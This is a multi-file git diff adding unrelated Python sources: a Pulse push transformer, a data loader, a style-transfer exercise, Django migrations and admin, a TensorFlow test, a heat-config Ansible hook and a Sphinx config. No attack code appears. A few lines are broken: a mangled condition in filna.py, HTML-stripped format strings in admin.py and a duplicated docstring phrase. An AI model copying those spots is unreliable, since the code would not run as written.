+ def get_branch(self): + """ + Pull requests don't use the actual branch, just the string "pull request" + """ + return "pull request" + + def transform(self, repository): + pr_url = self.URL_BASE.format( + self.message_body["organization"], + self.message_body["repository"], + self.message_body["details"]["event.pullNumber"] + ) + + return self.fetch_push(pr_url, repository) + + +class HgPushTransformer: + # { + # "root": { + # "payload": { + # "pushlog_pushes": [ + # { + # "time": 14698302460, + # "push_full_json_url": "https://hg.mozilla.org/try/json-pushes?version=2&full=1&startID=136597&endID=136598", + # "pushid": 136598, + # "push_json_url": " https: //hg.mozilla.org/try/json-pushes?version=2&startID=136597&endID=136598", + # "user": " james@hoppipolla.co.uk" + # } + # ], + # "heads": [ + # "2f77bc4f354d9ba67ea5270b2fc789f4b0521287" + # ], + # "repo_url": "https://hg.mozilla.org/try", + # "_meta": { + # "sent": "2016-07-29T22:11:18.503365", + # "routing_key": "try", + # "serializer": "json", + # "exchange": "exchange/hgpushes/v1" + # } + # } + # } + # } + + def __init__(self, message_body): + self.message_body = message_body + self.repo_url = message_body["payload"]["repo_url"] + self.branch = None + + def get_info(self): + return self.message_body["payload"] + + def transform(self, repository): + logger.info("transforming for {}".format(repository)) + url = self.message_body["payload"]["pushlog_pushes"][0]["push_full_json_url"] + return self.fetch_push(url, repository) + + def fetch_push(self, url, repository, sha=None): + newrelic.agent.add_custom_parameter("sha", sha) + + logger.info("fetching for {} {}".format(repository, url)) + # there will only ever be one, with this url + push = fetch_json(url)["pushes"].values()[0] + + commits = [] + # TODO: Remove this when bug 1257602 is addressed + rev_hash_components = [] + # we only want to ingest the last 200 commits for each push, + # to protect against the 5000+ commit merges on release day uplift. + for commit in push['changesets'][-200:]: + commits.append({ + "revision": commit["node"], + "author": commit["author"], + "comment": commit["desc"], + }) + rev_hash_components.append(commit['node']) + rev_hash_components.append(commit['branch']) + + return { + "revision": commits[-1]["revision"], + 'revision_hash': generate_revision_hash(rev_hash_components), + "author": push["user"], + "push_timestamp": push["date"], + "revisions": commits, + } + + +class PulsePushError(ValueError): + pass diff --git a/pool/shard009/Python/0082844_init__.py b/pool/shard009/Python/0082844_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..265c2de89ca27514783d869b7603134b9f8004d6 --- /dev/null +++ b/pool/shard009/Python/0082844_init__.py @@ -0,0 +1,201 @@ +"""Standard test data. + +For more information, see + + - http://www.wiley.com/legacy/wileychi/pesarin/material.html + +""" + +from __future__ import (absolute_import, division, + print_function, unicode_literals) + +import os as _os + +import numpy as np + +from .. import data_dir + + +__all__ = ['load', + 'kenya', ] + + +def load(f): + r"""Load a data file located in the data directory. + + Parameters + ---------- + f : string + File name. + + Returns + ------- + x : array like + Data loaded from permute.data_dir. + """ + return np.recfromcsv(_os.path.join(data_dir, f), delimiter=",") + + +def nsgk(): + r"""NSGK test data for irr. + + Notes + ----- + + Here is first 5 lines of `nsgk.csv`:: + + time_stamp,domain,video,rater + 1,8,1,1 + 1,12,1,1 + 1,15,1,1 + 1,20,1,1 + + """ + nz = np.loadtxt(_os.path.join(data_dir, "nsgk.csv"), + delimiter=',', skiprows=1, dtype=np.int32) + shape = tuple(nz.max(axis=0)) + x = np.zeros(shape, dtype=np.int32) + nz -= 1 + for r in nz: + x[tuple(r)] = 1 + + # given order: time_stamp,domain,video,rater + # desired order: domain,video,rater,time_stamp + x = x.transpose(1, 2, 3, 0) + # hardcoding the number of timestamps per video + time_stamps = [36, 32, 35, 37, 31, 35, 40, 32] + p1 = [[m[:, :time_stamps[i]] for i, m in enumerate(n)]for n in x] + + ## Alternatively, I could return a 2D object array with + ## rater x time_stamp(video) matrices as entries + ## Not sure which is better, so I will wait to see how I use it. + # p1 = np.zeros(x.shape[:2], dtype=object) + # for i, n in enumerate(x): + # for j, m in enumerate(n): + # p1[i, j] = m + + return p1 + + +def macnell2014(): + r"""Data from MacNell et alrom MacNell et alrom MacNell et al. 2014 + + .. Lillian MacNell, Adam Driscoll, and Andrea N Hunt, "What's + in a Name: Exposing Gender Bias in Student Ratings of Teaching," + Innovative Higher Education, pp. 1-13, 2014. + """ + return load("MacNell2014.csv") + + +# def another_poss(): +# nz = np.loadtxt(_os.path.join(data_dir, "nsgk.csv"), +# delimiter=',', skiprows=1, dtype=np.int) +# _, nd, nv, nr = tuple(nz.max(axis=0)) +# dv = np.zeros((nd, nv), dtype=object) +# time_stamps = [36, 32, 35, 37, 31, 35, 40, 32] +# for n in range(nd): +# for v in range(nv): +# dv[n, v] = np.zeros((nr, time_stamps[v]), dtype=np.int) +# nz -= 1 +# for _ts, _d, _v, _r in nz: +# dv[_d, _v][_r, _ts] = 1 +# + +def botulinum(): + r"""The + + """ + return load(_os.path.join("npc", "botulinum.csv")) + + +def chrom17m(): + r"""The + + """ + return load(_os.path.join("npc", "chrom17m.csv")) + + +def confocal(): + """The + + """ + return load(_os.path.join("npc", "confocal.csv")) + + +def germina(): + """The + + """ + return load(_os.path.join("npc", "germina.csv")) + + +def kenya(): + """The Kenya dataset contains 16 observations and two variables in total. + It concerns an anthropological study on the "Ol Molo" and "Kamba" + populations. + + """ + return load(_os.path.join("npc", "kenya.csv")) + + +def massaro_blair(): + """The + + """ + return load(_os.path.join("npc", "massaro_blair.csv")) + + +def monachus(): + """The + + """ + return load(_os.path.join("npc", "monachus.csv")) + + +def mult(): + """The + + """ + return load(_os.path.join("npc", "mult.csv")) + + +def perch(): + """The + + """ + return load(_os.path.join("npc", "perch.csv")) + + +def rats(): + """The + + """ + return load(_os.path.join("npc", "rats.csv")) + + +def setig(): + """The + + """ + return load(_os.path.join("npc", "setig.csv")) + + +def urology(): + """The + + """ + return load(_os.path.join("npc", "urology.csv")) + + +def washing_test(): + """The + + """ + return load(_os.path.join("npc", "washing_test.csv")) + + +def waterfalls(): + """The + + """ + return load(_os.path.join("npc", "waterfalls.csv")) diff --git a/pool/shard009/Python/0082847_syh_02.py b/pool/shard009/Python/0082847_syh_02.py new file mode 100644 index 0000000000000000000000000000000000000000..e5cc8be4b3c1115ccd10eb4e4277cc6b9c790c29 --- /dev/null +++ b/pool/shard009/Python/0082847_syh_02.py @@ -0,0 +1,169 @@ +# coding:utf-8 +''' +created on 2018/2/3 + +@author:sunyihuan +''' + +import os +import sys +import scipy.io +import scipy.misc +import matplotlib.pyplot as plt +from matplotlib.pyplot import imshow +from PIL import Image +from class_four.week_four.NST.nst_utils import * +import numpy as np +import tensorflow as tf + +vgg_parameters_file = "/Users/sunyihuan/Desktop/modelParameters/imagenet-vgg-verydeep-19.mat" +model = load_vgg_model(vgg_parameters_file) +# print(model) + +content_image = scipy.misc.imread("images/louvre.jpg") +imshow(content_image) + + +def compute_content_cost(a_C, a_G): + """ + Computes the content cost + + Arguments: + a_C -- tensor of dimension (1, n_H, n_W, n_C), hidden layer activations representing content of the image C + a_G -- tensor of dimension (1, n_H, n_W, n_C), hidden layer activations representing content of the image G + + Returns: + J_content -- scalar that you compute using equation 1 above. + """ + (m, n_H, n_W, n_C) = a_C.get_shape().as_list() + a_C_unrolled = tf.reshape(a_C, shape=(n_H * n_W, n_C)) + a_G_unrolled = tf.reshape(a_G, shape=(n_H * n_W, n_C)) + J_content = 1.0 / (4 * n_H * n_W * n_C) * \ + tf.reduce_sum(tf.square(a_C_unrolled - a_G_unrolled)) + + return J_content + + +style_image = scipy.misc.imread("images/monet_800600.jpg") +imshow(style_image) + +def gram_matrix(A): + """ + Argument: + A -- matrix of shape (n_C, n_H*n_W) + + Returns: + GA -- Gram matrix of A, of shape (n_C, n_C) + """ + GA = tf.matmul(A, A, transpose_a=False, transpose_b=True) + return GA + +def compute_layer_style_cost(a_S, a_G): + """ + Arguments: + a_S -- tensor of dimension (1, n_H, n_W, n_C), hidden layer activations representing style of the image S + a_G -- tensor of dimension (1, n_H, n_W, n_C), hidden layer activations representing style of the image G + + Returns: + J_style_layer -- tensor representing a scalar value, style cost defined above by equation (2) + """ + m, n_H, n_W, n_C = a_S.get_shape().as_list() + a_S = tf.reshape(tf.transpose(a_S), shape=[n_C, -1]) + a_G = tf.reshape(tf.transpose(a_G), shape=[n_C, -1]) + GS = gram_matrix(a_S) + GG = gram_matrix(a_G) + J_style_layer = 1.0 / (4 * pow(n_C, 2) * pow((n_H * n_W), 2)) * tf.reduce_sum(tf.reduce_sum(tf.square(GG - GS))) + return J_style_layer + +STYLE_LAYERS = [ + ('conv1_1', 0.2), + ('conv2_1', 0.2), + ('conv3_1', 0.2), + ('conv4_1', 0.2), + ('conv5_1', 0.2)] + + +def compute_style_cost(model, STYLE_LAYERS): + """ + Computes the overall style cost from several chosen layers + + Arguments: + model -- our tensorflow model + STYLE_LAYERS -- A python list containing: + - the names of the layers we would like to extract style from + - a coefficient for each of them + + Returns: + J_style -- tensor representing a scalar value, style cost defined above by equation (2) + """ + J_style = 0 + + for layer_name, coeff in STYLE_LAYERS: + out = model[layer_name] + a_S = sess.run(out) + a_G = out + J_style_layer = compute_layer_style_cost(a_S, a_G) + J_style += coeff * J_style_layer + + return J_style + +def total_cost(J_content, J_style, alpha=10, beta=40): + """ + Computes the total cost function + + Arguments: + J_content -- content cost coded above + J_style -- style cost coded above + alpha -- hyperparameter weighting the importance of the content cost + beta -- hyperparameter weighting the importance of the style cost + + Returns: + J -- total cost as defined by the formula above. + """ + J = alpha * J_content + beta * J_style + return J + + +tf.reset_default_graph() +sess = tf.InteractiveSession() + +content_image = scipy.misc.imread("images/louvre_small.jpg") +content_image = reshape_and_normalize_image(content_image) + +style_image = scipy.misc.imread("images/monet.jpg") +style_image = reshape_and_normalize_image(style_image) + +generated_image = generate_noise_image(content_image) +imshow(generated_image[0]) + +sess.run(model['input'].assign(content_image)) +out = model['conv4_2'] +a_C = sess.run(out) +a_G = out +J_content = compute_content_cost(a_C, a_G) +sess.run(model['input'].assign(style_image)) +J_style = compute_style_cost(model, STYLE_LAYERS) +J = total_cost(J_content, J_content) +optimizer = tf.train.AdamOptimizer(2.0) +train_step = optimizer.minimize(J) + + +def model_nn(sess, input_image, num_iterations=200): + tf.global_variables_initializer() + sess.run(model["input"].assign(input_image)) + for i in range(num_iterations): + sess.run(train_step) + generated_image = sess.run(model["input"]) + if i % 20 == 0: + Jt, Jc, Js = sess.run([J, J_content, J_style]) + print("Iteration " + str(i) + " :") + print("total cost = " + str(Jt)) + print("content cost = " + str(Jc)) + print("style cost = " + str(Js)) + + save_image("output/" + str(i) + ".png", generated_image) + save_image('output/generated_image.jpg', generated_image) + + return generated_image + +model_nn(sess, generated_image) diff --git a/pool/shard009/Python/0082850_filna.py b/pool/shard009/Python/0082850_filna.py new file mode 100644 index 0000000000000000000000000000000000000000..203c035f3908788b3da09079af92decd8ea5b779 --- /dev/null +++ b/pool/shard009/Python/0082850_filna.py @@ -0,0 +1,51 @@ +#encoding: utf-8 + +import sys +reload(sys) +sys.setdefaultencoding("utf-8") + +def ldans(fname): + rs = {} + with open(fname) as frd: + for line in frd: + tmp = line.strip() + if tmp: + key, v = tmp.decode("utf-8").split(" ||| ") + rs[key] = v + return rs + +def clearl(lin): + rs = [] + for lu in lin: + tt = lu.strip() + if tt: + rs.append(tt) + return rs + +def handle(srctf, srcrf, rsf): + ans = ldans(srcrf) + cache = [] + wds=set() + with open(rsf, "w") as fwrt: + with open(srctf) as frd: + for line in frd: + tmp = line.strip() + if tmp: + tmp = tmp.decode("utf-8") + if tmp.startswith("") + 1]] + if curans in wds: + tmp="\n".join(cache) + fwrt.write(tmp.encode("utf-8")) + fwrt.write("\n".encode("utf-8")) + cache = [] + wds.clear() + else: + cache.append(tmp) + for wd in clearl(tmp[tmp.find("|||") + 4:].split(" ")): + if not wd in wds: + wds.add(wd) + +if __name__=="__main__": + handle(sys.argv[1].decode("gbk"), sys.argv[2].decode("gbk"), sys.argv[3].decode("gbk")) diff --git a/pool/shard009/Python/0082854_0001_initial.py b/pool/shard009/Python/0082854_0001_initial.py new file mode 100644 index 0000000000000000000000000000000000000000..fb88290db2f71fade777a2c75045c9a23276b831 --- /dev/null +++ b/pool/shard009/Python/0082854_0001_initial.py @@ -0,0 +1,29 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.11.4 on 2018-04-04 13:49 +from __future__ import unicode_literals + +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + + initial = True + + dependencies = [ + ('a4modules', '0004_description_maxlength_512'), + ] + + operations = [ + migrations.CreateModel( + name='Label', + fields=[ + ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('name', models.CharField(max_length=120)), + ('module', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='a4modules.Module')), + ], + options={ + 'verbose_name_plural': 'labels', + }, + ), + ] diff --git a/pool/shard009/Python/0082857_theano_function.py b/pool/shard009/Python/0082857_theano_function.py new file mode 100644 index 0000000000000000000000000000000000000000..e6b59ee5b269e4db10cd3afdeaf42d10a85f7f90 --- /dev/null +++ b/pool/shard009/Python/0082857_theano_function.py @@ -0,0 +1,104 @@ +import collections + +from chainer.functions.theano import theano_function +from chainer import link +from chainer import utils + + +def _to_var_tuple(vs): + import theano + msg = ('inputs and outputs must be a TensorVariable, a list ' + 'of TensorVariable or a tuple of TensorVariable') + + if isinstance(vs, theano.tensor.TensorVariable): + return vs, + elif isinstance(vs, collections.Iterable): + vs = tuple(vs) + if not all(isinstance(v, theano.tensor.TensorVariable) for v in vs): + raise TypeError(msg) + return vs + else: + raise TypeError(msg) + + +class TheanoFunction(link.Link): + + """Theano function wrapper. + + .. warning:: + + This feature is experimental. The interface can change in the future. + + This function wraps Theano function as a :class:`chainer.Link`. + A user needs to make input Theano variables and output Theano variables. + This function automatically creates Theano function for forward calculation + and backward calculation from inputs and ouptuts. And then, it sends data + in :class:`chainer.Variable` to the function and gets results from Theano. + + .. admonition:: Example + + >>> import theano + >>> x = theano.tensor.fvector() + >>> y = theano.tensor.fvector() + >>> z = x + y + >>> w = x - y + >>> f = L.TheanoFunction(inputs=[x, y], outputs=[z, w]) + >>> a = chainer.Variable(np.array([1, 2], dtype=np.float32)) + >>> b = chainer.Variable(np.array([2, 3], dtype=np.float32)) + >>> c, d = f(a, b) + >>> c.data + array([3., 5.], dtype=float32) + >>> d.data + array([-1., -1.], dtype=float32) + + .. note:: + + The current implementation always copys :class:`cupy.ndarray` to CPU. + + Args: + inputs (tuple of ``theano.tensor.TensorVariable``): Input variables of + Theano. This function accepts the same number of + :class:`~chainer.Variable`\\ s in forward computation. + outputs (tuple of ``theano.tensor.TensorVariable``): + Output variables of Theano. + The function returns the same number of + :class:`~chainer.Variable`\\ s as ``outputs``. + + """ + + def __init__(self, inputs, outputs): + utils.experimental('chainer.links.TheanoFunction') + try: + # When Theano library is imported, it executes a lot of + # initialization process. To minimize its side effect, + # we need import theano here. + import theano + except ImportError: + msg = '''theano is not installed on your environment. +Please install theano to activate theano function. + + $ pip install theano''' + raise RuntimeError(msg) + + inputs = _to_var_tuple(inputs) + outputs = _to_var_tuple(outputs) + + # TODO(unno): We can remove redundant gpu-cpu copy using + # theano.sandbox.cuda.basic_ops.gpu_from_host + self.forward_func = theano.function(inputs=inputs, outputs=outputs) + + gs = tuple( + o.type('g_{}'.format(i)) for i, o in enumerate(outputs)) + known_grads = collections.OrderedDict(zip(outputs, gs)) + grad = theano.tensor.grad( + cost=None, wrt=inputs, known_grads=known_grads, + disconnected_inputs='ignore') + + self.backward_func = theano.function( + inputs=inputs + gs, + outputs=grad, + on_unused_input='ignore') + + def __call__(self, *args): + return theano_function.theano_function( + self.forward_func, self.backward_func, *args) diff --git a/pool/shard009/Python/0082860_census_test.py b/pool/shard009/Python/0082860_census_test.py new file mode 100644 index 0000000000000000000000000000000000000000..9f8ed58b2d385baf570f31780798918e786a3065 --- /dev/null +++ b/pool/shard009/Python/0082860_census_test.py @@ -0,0 +1,161 @@ +# Copyright 2017 The TensorFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ============================================================================== + +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function + +import os + +import tensorflow as tf # pylint: disable=g-bad-import-order + +from official.utils.testing import integration +from official.wide_deep import census_dataset +from official.wide_deep import census_main +from official.wide_deep import wide_deep_run_loop + +tf.logging.set_verbosity(tf.logging.ERROR) + +TEST_INPUT = ('18,Self-emp-not-inc,987,Bachelors,12,Married-civ-spouse,abc,' + 'Husband,zyx,wvu,34,56,78,tsr,<=50K') + +TEST_INPUT_VALUES = { + 'age': 18, + 'education_num': 12, + 'capital_gain': 34, + 'capital_loss': 56, + 'hours_per_week': 78, + 'education': 'Bachelors', + 'marital_status': 'Married-civ-spouse', + 'relationship': 'Husband', + 'workclass': 'Self-emp-not-inc', + 'occupation': 'abc', +} + +TEST_CSV = os.path.join(os.path.dirname(__file__), 'census_test.csv') + + +class BaseTest(tf.test.TestCase): + """Tests for Wide Deep model.""" + + @classmethod + def setUpClass(cls): # pylint: disable=invalid-name + super(BaseTest, cls).setUpClass() + census_main.define_census_flags() + + def setUp(self): + # Create temporary CSV file + self.temp_dir = self.get_temp_dir() + self.input_csv = os.path.join(self.temp_dir, 'test.csv') + with tf.gfile.Open(self.input_csv, 'w') as temp_csv: + temp_csv.write(TEST_INPUT) + + with tf.gfile.Open(TEST_CSV, "r") as temp_csv: + test_csv_contents = temp_csv.read() + + # Used for end-to-end tests. + for fname in [census_dataset.TRAINING_FILE, census_dataset.EVAL_FILE]: + with tf.gfile.Open(os.path.join(self.temp_dir, fname), 'w') as test_csv: + test_csv.write(test_csv_contents) + + def test_input_fn(self): + dataset = census_dataset.input_fn(self.input_csv, 1, False, 1) + features, labels = dataset.make_one_shot_iterator().get_next() + + with self.test_session() as sess: + features, labels = sess.run((features, labels)) + + # Compare the two features dictionaries. + for key in TEST_INPUT_VALUES: + self.assertTrue(key in features) + self.assertEqual(len(features[key]), 1) + feature_value = features[key][0] + + # Convert from bytes to string for Python 3. + if isinstance(feature_value, bytes): + feature_value = feature_value.decode() + + self.assertEqual(TEST_INPUT_VALUES[key], feature_value) + + self.assertFalse(labels) + + def build_and_test_estimator(self, model_type): + """Ensure that model trains and minimizes loss.""" + model = census_main.build_estimator( + self.temp_dir, model_type, + model_column_fn=census_dataset.build_model_columns, + inter_op=0, intra_op=0) + + # Train for 1 step to initialize model and evaluate initial loss + def get_input_fn(num_epochs, shuffle, batch_size): + def input_fn(): + return census_dataset.input_fn( + TEST_CSV, num_epochs=num_epochs, shuffle=shuffle, + batch_size=batch_size) + return input_fn + + model.train(input_fn=get_input_fn(1, True, 1), steps=1) + initial_results = model.evaluate(input_fn=get_input_fn(1, False, 1)) + + # Train for 100 epochs at batch size 3 and evaluate final loss + model.train(input_fn=get_input_fn(100, True, 3)) + final_results = model.evaluate(input_fn=get_input_fn(1, False, 1)) + + print('%s initial results:' % model_type, initial_results) + print('%s final results:' % model_type, final_results) + + # Ensure loss has decreased, while accuracy and both AUCs have increased. + self.assertLess(final_results['loss'], initial_results['loss']) + self.assertGreater(final_results['auc'], initial_results['auc']) + self.assertGreater(final_results['auc_precision_recall'], + initial_results['auc_precision_recall']) + self.assertGreater(final_results['accuracy'], initial_results['accuracy']) + + def test_wide_deep_estimator_training(self): + self.build_and_test_estimator('wide_deep') + + def test_end_to_end_wide(self): + integration.run_synthetic( + main=census_main.main, tmp_root=self.get_temp_dir(), + extra_flags=[ + '--data_dir', self.get_temp_dir(), + '--model_type', 'wide', + '--download_if_missing=false' + ], + synth=False, max_train=None) + + def test_end_to_end_deep(self): + integration.run_synthetic( + main=census_main.main, tmp_root=self.get_temp_dir(), + extra_flags=[ + '--data_dir', self.get_temp_dir(), + '--model_type', 'deep', + '--download_if_missing=false' + ], + synth=False, max_train=None) + + def test_end_to_end_wide_deep(self): + integration.run_synthetic( + main=census_main.main, tmp_root=self.get_temp_dir(), + extra_flags=[ + '--data_dir', self.get_temp_dir(), + '--model_type', 'wide_deep', + '--download_if_missing=false' + ], + synth=False, max_train=None) + + +if __name__ == '__main__': + tf.test.main() diff --git a/pool/shard009/Python/0082861_hook-ansible.py b/pool/shard009/Python/0082861_hook-ansible.py new file mode 100644 index 0000000000000000000000000000000000000000..b1dbddc03d93c9a19e0af70bda7b2a32fb32dc60 --- /dev/null +++ b/pool/shard009/Python/0082861_hook-ansible.py @@ -0,0 +1,118 @@ +#!/usr/bin/env python +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +import json +import logging +import os +import subprocess +import sys + +WORKING_DIR = os.environ.get('HEAT_ANSIBLE_WORKING', + '/var/lib/heat-config/heat-config-ansible') +OUTPUTS_DIR = os.environ.get('HEAT_ANSIBLE_OUTPUTS', + '/var/run/heat-config/heat-config-ansible') +ANSIBLE_CMD = os.environ.get('HEAT_ANSIBLE_CMD', 'ansible-playbook') + + +def prepare_dir(path): + if not os.path.isdir(path): + os.makedirs(path, 0o700) + + +def main(argv=sys.argv): + log = logging.getLogger('heat-config') + handler = logging.StreamHandler(sys.stderr) + handler.setFormatter( + logging.Formatter( + '[%(asctime)s] (%(name)s) [%(levelname)s] %(message)s')) + log.addHandler(handler) + log.setLevel('DEBUG') + + prepare_dir(OUTPUTS_DIR) + prepare_dir(WORKING_DIR) + os.chdir(WORKING_DIR) + + c = json.load(sys.stdin) + + variables = {} + for input in c['inputs']: + variables[input['name']] = input.get('value', '') + + fn = os.path.join(WORKING_DIR, '%s_playbook.yaml' % c['id']) + vars_filename = os.path.join(WORKING_DIR, '%s_variables.json' % c['id']) + heat_outputs_path = os.path.join(OUTPUTS_DIR, c['id']) + variables['heat_outputs_path'] = heat_outputs_path + + config_text = c.get('config', '') + if not config_text: + log.warn("No 'config' input found, nothing to do.") + return + # Write 'variables' to file + with os.fdopen(os.open( + vars_filename, os.O_CREAT | os.O_WRONLY, 0o600), 'w') as var_file: + json.dump(variables, var_file) + # Write the executable, 'config', to file + with os.fdopen(os.open(fn, os.O_CREAT | os.O_WRONLY, 0o600), 'w') as f: + f.write(c.get('config', '').encode('utf-8')) + + cmd = [ + ANSIBLE_CMD, + '-i', + 'localhost,', + fn, + '--extra-vars', + '@%s' % vars_filename + ] + log.debug('Running %s' % (' '.join(cmd),)) + try: + subproc = subprocess.Popen(cmd, stdout=subprocess.PIPE, + stderr=subprocess.PIPE) + except OSError: + log.warn("ansible not installed yet") + return + stdout, stderr = subproc.communicate() + + log.info('Return code %s' % subproc.returncode) + if stdout: + log.info(stdout) + if stderr: + log.info(stderr) + + # TODO(stevebaker): Test if ansible returns any non-zero + # return codes in success. + if subproc.returncode: + log.error("Error running %s. [%s]\n" % (fn, subproc.returncode)) + else: + log.info('Completed %s' % fn) + + response = {} + + for output in c.get('outputs') or []: + output_name = output['name'] + try: + with open('%s.%s' % (heat_outputs_path, output_name)) as out: + response[output_name] = out.read() + except IOError: + pass + + response.update({ + 'deploy_stdout': stdout, + 'deploy_stderr': stderr, + 'deploy_status_code': subproc.returncode, + }) + + json.dump(response, sys.stdout) + +if __name__ == '__main__': + sys.exit(main(sys.argv)) diff --git a/pool/shard009/Python/0082872_admin.py b/pool/shard009/Python/0082872_admin.py new file mode 100644 index 0000000000000000000000000000000000000000..d8d1529221711222539aea053eea1445ccee1d1a --- /dev/null +++ b/pool/shard009/Python/0082872_admin.py @@ -0,0 +1,54 @@ +# -*- coding: utf-8 -*- +from django.utils.safestring import mark_safe +from django.contrib.auth.models import User, Group +from django.contrib.auth.admin import UserAdmin, GroupAdmin +from django.contrib import admin + +from .models import Profile + + +def roles(self): + short_name = lambda x:unicode(x)[:1].upper() + p = sorted([u"%s" % (x, short_name(x)) for x in self.groups.all()]) + if self.user_permissions.count(): p += ['+'] + value = ', '.join(p) + return mark_safe("%s" % value) +roles.allow_tags = True +roles.short_description = u'Grupos' + +def adm(self): + return self.is_superuser +adm.boolean = True +adm.admin_order_field = 'is_superuser' + +def staff(self): + return self.is_staff +staff.boolean = True +staff.admin_order_field = 'is_staff' + +from django.core.urlresolvers import reverse +def persons(self): + return ', '.join(['%s' % (reverse('admin:auth_user_change', args=(x.id,)), x.username) for x in self.user_set.all().order_by('username')]) +persons.allow_tags = True + + +class ProfileInline(admin.StackedInline): + model = Profile + can_delete = False + + +class UserAdmin(UserAdmin): + inlines = (ProfileInline, ) + list_display = ['username', 'email', 'first_name', 'last_name', roles, 'is_active', staff, adm, 'last_login'] + list_filter = ['groups', 'is_staff', 'is_superuser', 'is_active'] + + +class GroupAdmin(GroupAdmin): + list_display = ['name', persons] + list_display_links = ['name'] + + +admin.site.unregister(User) +admin.site.unregister(Group) +admin.site.register(User, UserAdmin) +admin.site.register(Group, GroupAdmin) \ No newline at end of file diff --git a/pool/shard009/Python/0082875_0020_data_migration.py b/pool/shard009/Python/0082875_0020_data_migration.py new file mode 100644 index 0000000000000000000000000000000000000000..affddf27700bee4e8cf132b94eb1c3cdfe6530a7 --- /dev/null +++ b/pool/shard009/Python/0082875_0020_data_migration.py @@ -0,0 +1,26 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals + +from django.db import migrations + + +def set_questionentity_is_collection(apps, schema_editor): + Value = apps.get_model('projects', 'Value') + + for value in Value.objects.all(): + if value.value_type == 'options': + value.value_type = 'option' + + value.save() + + +class Migration(migrations.Migration): + + dependencies = [ + ('projects', '0019_option'), + ('questions', '0023_option'), + ] + + operations = [ + migrations.RunPython(set_questionentity_is_collection), + ] diff --git a/pool/shard009/Python/0082880_union_type.py b/pool/shard009/Python/0082880_union_type.py new file mode 100644 index 0000000000000000000000000000000000000000..283bc3b54c2789c031b97b7521ef4b3bc8a4a691 --- /dev/null +++ b/pool/shard009/Python/0082880_union_type.py @@ -0,0 +1,82 @@ +from . import Type +from ..exceptions import UndressError + + +class UnionType(Type): + + __slots__ = ['_candidates'] + + def __init__(self, candidates, metadata): + for item in candidates: + if not isinstance(item, Type): + raise ValueError('Finitio.Type expected, got: {0}' + .format(item)) + + super(UnionType, self).__init__(metadata) + self._candidates = candidates + + def _m_dress(self, value, monad): + + def callback(candidate): + return candidate.m_dress(value, monad) + + def on_failure(causes): + params = ['value', value] + msg = 'Invalid ${typeName}: `${value}`' + monad.failure(self, [msg, params], causes) + + return monad.find(self._candidates, callback, on_failure) + + def _undress(self, value, as_type): + if self is as_type: + return value + + # find a candidate which is a subtype of as_type + using = next(c for c in self._candidates + if as_type.is_super_type_of(c)) + if using: + return using.undress(value, as_type) + + # find a candidate that includes value + using = next(c for c in self._candidates + if c.include(value)) + if using: + return using.undress(value, as_type) + + raise UndressError('Unable to dress `{0}` to `{1}' + .format(value, as_type)) + + def _include(self, value, world): + return any(c for c in self._candidates + if c.include(value)) is not None + + def _is_super_type_of(self, other): + return self is other or\ + any(c for c in self._candidates + if c.is_super_type_of(other)) or\ + (isinstance(other, UnionType) and + all(any(c for c in self._candidates if c.is_super_type_of(d)) + for d in other._candidates)) + + def __eq__(self, other): + return self is other or\ + (isinstance(other, UnionType) and + self._candidates_eq(other, True)) or\ + super(UnionType, self).__eq__(other) + + def _candidates_eq(self, other, and_back=False): + if not all(any(c2 for c2 in other._candidates if c.equals(c2)) + for c in self._candidates): + return False + + if and_back: + return UnionType._candidates_eq(other, self, False) + + def low(self): + raise NotImplementedError('UnionType#low is not defined yet, sorry!') + + def resolve_proxies(self, system): + return [c.resolve_proxies(system) for c in self._candidates] + + def __repr__(self): + return ', '.join([str(c) for c in self._candidates]) diff --git a/pool/shard009/Python/0082882_conf.py b/pool/shard009/Python/0082882_conf.py new file mode 100644 index 0000000000000000000000000000000000000000..38c91187561a2bd8ce37584f2589cc4c7fb3607c --- /dev/null +++ b/pool/shard009/Python/0082882_conf.py @@ -0,0 +1,300 @@ +# -*- coding: utf-8 -*- +# +# JujuGUI documentation build configuration file, created by +# sphinx-quickstart on Tue Jul 10 23:15:46 2012. +# +# This file is execfile()d with the current directory set to its containing +# directory. +# +# Note that not all possible configuration values are present in this +# autogenerated file. +# +# All configuration values have a default; values that are commented out +# serve to show the default. + +import os +import subprocess + +try: + import yaml +except ImportError: + yaml = None + + +# If extensions (or modules to document with autodoc) are in another directory, +# add these directories to sys.path here. If the directory is relative to the +# documentation root, use os.path.abspath to make it absolute, like shown here. +#sys.path.insert(0, os.path.abspath('.')) + +# -- General configuration ---------------------------------------------------- + +# If your documentation needs a minimal Sphinx version, state it here. +#needs_sphinx = '1.0' + +# Add any Sphinx extension module names here, as strings. They can be +# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom ones. +extensions = [] + +# Add any paths that contain templates here, relative to this directory. +templates_path = ['_templates'] + +# The suffix of source filenames. +source_suffix = '.rst' + +# The encoding of source files. +#source_encoding = 'utf-8-sig' + +# The master toctree document. +master_doc = 'index' + +# General information about the project. +project = u'JujuGUI' +copyright = u'2012-2013, Juju GUI Developers' + +# The version info for the project you're documenting, acts as replacement for +# |version| and |release|, also used in various other places throughout the +# built documents. +# +# "version": the short X.Y version. +# "release": the full version, including alpha/beta/rc tags. + + +def get_version_from_changes(changes_path): + """Get (version, release) from a yaml-formatted changes file. + + - "version" will be "release" truncated to the first dash; + - "release" will be the first version number (last change made). If the + first version number is "unreleased", the second version number will + be used, extended by 